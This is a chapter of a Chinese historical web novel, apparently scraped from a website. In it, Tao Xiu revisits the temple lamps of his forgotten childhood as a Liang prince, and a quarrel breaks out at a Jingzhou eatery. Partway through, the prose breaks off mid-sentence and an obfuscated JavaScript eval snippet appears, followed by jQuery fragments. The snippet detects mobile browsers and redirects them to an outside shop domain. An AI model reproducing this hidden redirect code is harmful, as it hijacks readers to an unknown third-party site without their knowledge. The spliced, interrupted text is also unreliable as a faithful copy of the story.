130.十四盏光明灯
    公仪林哪是个听劝的,把剑也塞给胡峤,“在此等我。”走了一步又回头叮嘱:“寺庙禁止带刀。”他一路寻下,在来往不绝的信众里追上陶修的身影,只见他径直朝一个方向走去,毫不犹豫,就像熟门熟路来过多次。

    一直走到大佛脚下的跪拜处停下。

    陶修仰望大佛慈悲的面容,心中震颤,若说他对自己的身世还持有一丝怀疑,在看见大佛那一刻就完全想起了遗忘的名姓,萧琢,乳名麒麟儿,他在这座枫叶寺亲手点亮过十四盏光明灯,每年来两次,每次两盏,一盏祈愿父母安康,一盏祈愿萧梁国运永祚。

    他察觉到公仪林跟在身后,转身对他笑道:“槐序,想看看我小时候点的祈福灯吗?如果我没猜错,它们应该还保留在寺里。”他的笑中很多无奈和遗憾。

    “你来过这里?”

    “枫叶寺建成不到三十年,那年梁与周之间的几场大战,千里大地毁于兵燹,中宗皇帝见饿殍满道、民生凋敝,他亲自监督建成这座寺庙,给满目疮痍的心头寻找慰藉之所。我两岁起跟着父亲来枫叶寺祈愿,上元节和仲秋节各来一次,五岁那年的仲秋节就断了。”

    陶修带他走到供灯的地方,站在门外略犹豫,不确定地说:“若他们想念我,一定还会保留我的光明灯。”但已十六年过去,未必如他所想。

    “进去吧,我陪你补上十六年前仲秋节未点燃的灯,虽然迟了几天。”

    信众在仲秋时留下的灯火仅剩下一少部分,两人在数千盏一看就是刚点燃没多久的明灯前寻找想要的东西显然是不可能的。公仪林绕过宝殿中央的大佛走至后面,黯然肃穆的大殿后豁然明朗,几百盏光明灯璀璨夺目,在千佛灯塔上煌煌闪烁。

    灯塔被隔绝起来,常人无法靠近。

    公仪林只用一句话就获得近前的许可,他找到德高望重的老僧,虔诚合掌,稳重地开口:“师父,寺院内不敢说诳语,这座千佛灯塔内有我这位朋友幼时点过的灯,我们想靠近了看一下。”

    老高僧缓声拒绝:“施主可知这个位置是什么人供的灯?”

    “知道,梁室的贵胄。”

    “既然知道,那你们——”老高僧上下打量陶修,没再继续说下去。

    “既然我们知道还坚持要看,大师怎会不明白?”

    老僧亲自为他们打开半身高的赭红木门。

    灯塔有两人高,塔尖一盏灯尤为灿烂,从灯龛内放出数道金光,下面的几百盏灯无一熄灭,看来时时都有专人为这些灯添油维护。

    陶修绕着灯塔慢走一圈突然半跪于地,肩膀有点颤抖,指着一盏油汪汪的灯问老僧:“这盏灯的供主是岳阳王的爱子,据说此人幼年夭亡,难道此灯燃了十六七年?”

    老僧道:“没错,岳阳王府每年都捐大量香油钱为已故世子的供灯燃明,至今从未断过。”

    “仲秋节他们也来了?”

    “王妃亲自为世子的灯添了香油。”

    陶修拿出灯后一张朽旧的金纸,还未展开就对公仪林说:“槐序,上面写着‘父母安康’,你信不信?”

    老僧本想阻止他这出格的举动,忽听接过金纸的年轻人轻声念出“父母安康”四字,他明显一惊,这些可都是多年未被人动弹过的东西。

    “这是你写的?”公仪林俯看还半跪于地的陶修,难以置信,真真切切看到他幼时娟秀的字和名字时,仿佛时空流转,文静秀气的小世子以赤诚的心坐于书案前写下这几个字。

    “以前是父亲代写,四岁起是我自己动笔。”陶修站起来悄悄擦去眼里的泪,很奇怪自己竟能突然想起许多幼年时的事情,他对老僧合掌道:“多谢师父的通融,很多事情亲眼看见了才能更确定。”

    老和尚似乎听懂了,也似乎明白了,“阿弥陀佛,善哉善哉。”

    二人走出宝殿又站到寺院中央,回首看映衬在碧蓝天穹下巨大灵动的佛像,陶修笑道:“那年,从枫叶寺传出一阵低沉的钟声,我和师父同时愣住,我在听,他也在听,我想就是那阵钟声改变师父要杀我的决心,因为那个傍晚红霞满天,钟声悠长旷远,好像佛祖显露真身,任谁都无法起杀心。”

    “那我对佛祖要再虔诚一点。”说罢就隔空对着远远的大佛又是一拜,轻念道:“佛祖救苦救难,您的祥瑞不仅救了一条人命,也成就一段姻缘。弟子再拜。”

    阿八一口气买下四匹马牵在手中,像个马贩子,一见了胡峤就滔滔不绝跟他抱怨此处买马是有多难,胡峤在他奔涌不绝发泄后仅“嗯”一声回应他。

    阿八暗道:“此人看起来就是本领了得的样子,可惜是个没嘴的葫芦。”

    四人离开枫叶寺后迅速进城。阿八在前开道,一路疾驰,不到半个时辰就到荆州城。

    进城时因他们衣着略与本地不同,且都身背长剑,自然遇到守城将士的阻拦。阿八下马与围拢过来的十几个人解释周旋许久,那伙人才好奇地让开一条道放他们进去。

    “公子,他们把你的印信留下了。”

    “留吧,很快就会有人来接待,我们先在城中四处转转。”

    城的布局都是大同小异,路上行人密集,屋舍俨然,越往中央去,楼阁台榭越气派高大,但偶尔能见一两处残垣断壁,与整齐繁华的城相比显得格格不入。

    萧梁的宗室都住在内城,几个外来的人根本无法进入,他们只能在外城繁华热闹地方随意转悠。

    陶修四下打量此处的人情风貌,暂不能将自己置身于此,骑在马上就像个走马观花的看客,这是个陌生的地方。直到他看见一样本地小吃,才突然勒马停下。

    那是架在油锅上摆放整齐的米糕,味道有点淡淡的咸味,油炸的金黄,香脆扑鼻。他指着米糕问:“这个叫什么?”

    “糯米锅块,要来一个吗?”

    “要四块。”

    阿八咬一口觉得油了,胡峤不声不响都吞了下去,公仪林咬下一口边嚼边注意陶修的表情,陶修吃到一半时露出一抹笑,转头问他们:“好不好吃?”

    “嗯”“不好吃。”

    公仪林咽下最后一口忙让阿八拿水给他压压,一边还梗着脖子说:“好吃。”

    陶修拍打他的后背,哈哈大笑:“噎着了?时辰也不早了,我带你们去吃东西。”

    阿八兴奋道:“陶公子这是尽地主之谊了?我要吃肉,啃骨头。”

    “行,那我们就去吃肉。”

    店家在门口搭了简易帐篷,帐篷下支一口大锅,正煮着一锅热气腾腾的肉,大块的熟肉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612456|123338||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    香味四溢,汤浓色香。阿八开始拴马:“就这家吧,我快饿死了。”

    此店开在热闹的十字路口,因位置金贵,拴马处有点拥挤,好在几匹马都在低头吃料,并没有因拥挤嘶鸣乱吼。

    “你们不是本地人啊?”掌柜见四人装束奇怪,个个人高马大利刃在手,问的小心翼翼。

    阿八搓着双掌,迫不及待等着上菜,“对啊,把锅里的肉先盛上一盆,吃饱喝足了再跟你打听点事。”

    哪知没吃饱没喝足,事情就自己找上门来了。

    四人正吃在兴头上,忽听外面一阵人喊马叫,吵吵嚷嚷骂骂咧咧的声音传来,“这他妈谁拴的马,从你家祖坟上跑出来了?谁的,出来。”

    掌柜的脸色骤变,恨其不争地对陶修这桌人指了一下,急的无法发声,转身冲了出去。

    阿八仰头喝完肉汤,冷静地擦擦嘴,对同伴说:“可能是拴马的绳子松了,是我的马。”

    公仪林慢悠悠道:“出去处理一下,肉会给你留。”

    片刻后,阿八也变了脸色,冲进来对公仪林道:“公子,还需你出马,外面人太多,我一张嘴讲不过他们,都不讲理啊,抡拳就要上来。”

    “一顿饭还没吃完就有麻烦找上门,看来此地对外地人很戒备啊?康乐你先吃,我去去就来。”

    公仪林长身而起,带着一股傲气走了出去。

    外面拥堵了很多人,除去看热闹的百姓,余下的人皆穿黑色劲装,腰间别刀,站在一起盛气凌人压迫十足,看来惹上的不是小麻烦。

    “因为什么事得罪的他们?”

    阿八道:“是我的马走到路中央,正好被这伙人撞上,中间那位公子被掀翻了。”

    公仪林站在门槛略高的位置,从人群里找受伤的人,朗声问:“请问是哪位伤了?我先在此赔罪,伤了哪里,我带去看医工。”

    “那是何人,站高处对本大爷耀武扬威的是要做什么?把他拉下来!”人群里的这声音清越,但口气嚣张。

    立即有三个孔武强壮的男人走出来,甩着粗暴的双臂走向公仪林,阿八岂容他们动公子,不待三人走近就三拳五脚将他们打退,喝道:“讲不讲理?我们公子都赔礼道歉要带你去看医工了,别不依不饶得理不饶人?”

    店掌柜突然扑向阿八抱住他手臂,拼命摇头暗示,“别得罪他们。”

    “你们敢如此猖狂,连我的人都敢打?”嚣张的声音又从人群发出,夹带怒气。

    这是公仪林听过最好笑的一句话,耀武扬威的人居然还敢指责他猖狂?他慢慢走下门槛外的两层石阶企图与摔倒的公子哥讲讲理。

    只见一个白衣少年拨开两层护卫一瘸一拐走出来,气势朗朗站在公仪林跟前,怒瞪一双清泠泠的双眼,正欲开口,却因眼前人不俗的外表而按捺下怒火,上下丈量此人一番后问:“哪里来的?贩马的?拢共贩了几匹马还不给拴好,粗心啊!”说完,伸出手轻蔑地弹了下公仪林肩头,“我的手伤了,瞧,它不听使唤——”

    一言未了,少年人迅速抓住公仪林的手臂朝反方向猛撅,力道既狠戾又霸道。

    若不是与他有势均力敌的身高优势,公仪林在他的突袭下绝对吃亏。公仪林立即手握成拳,绷紧左臂往前扳回来。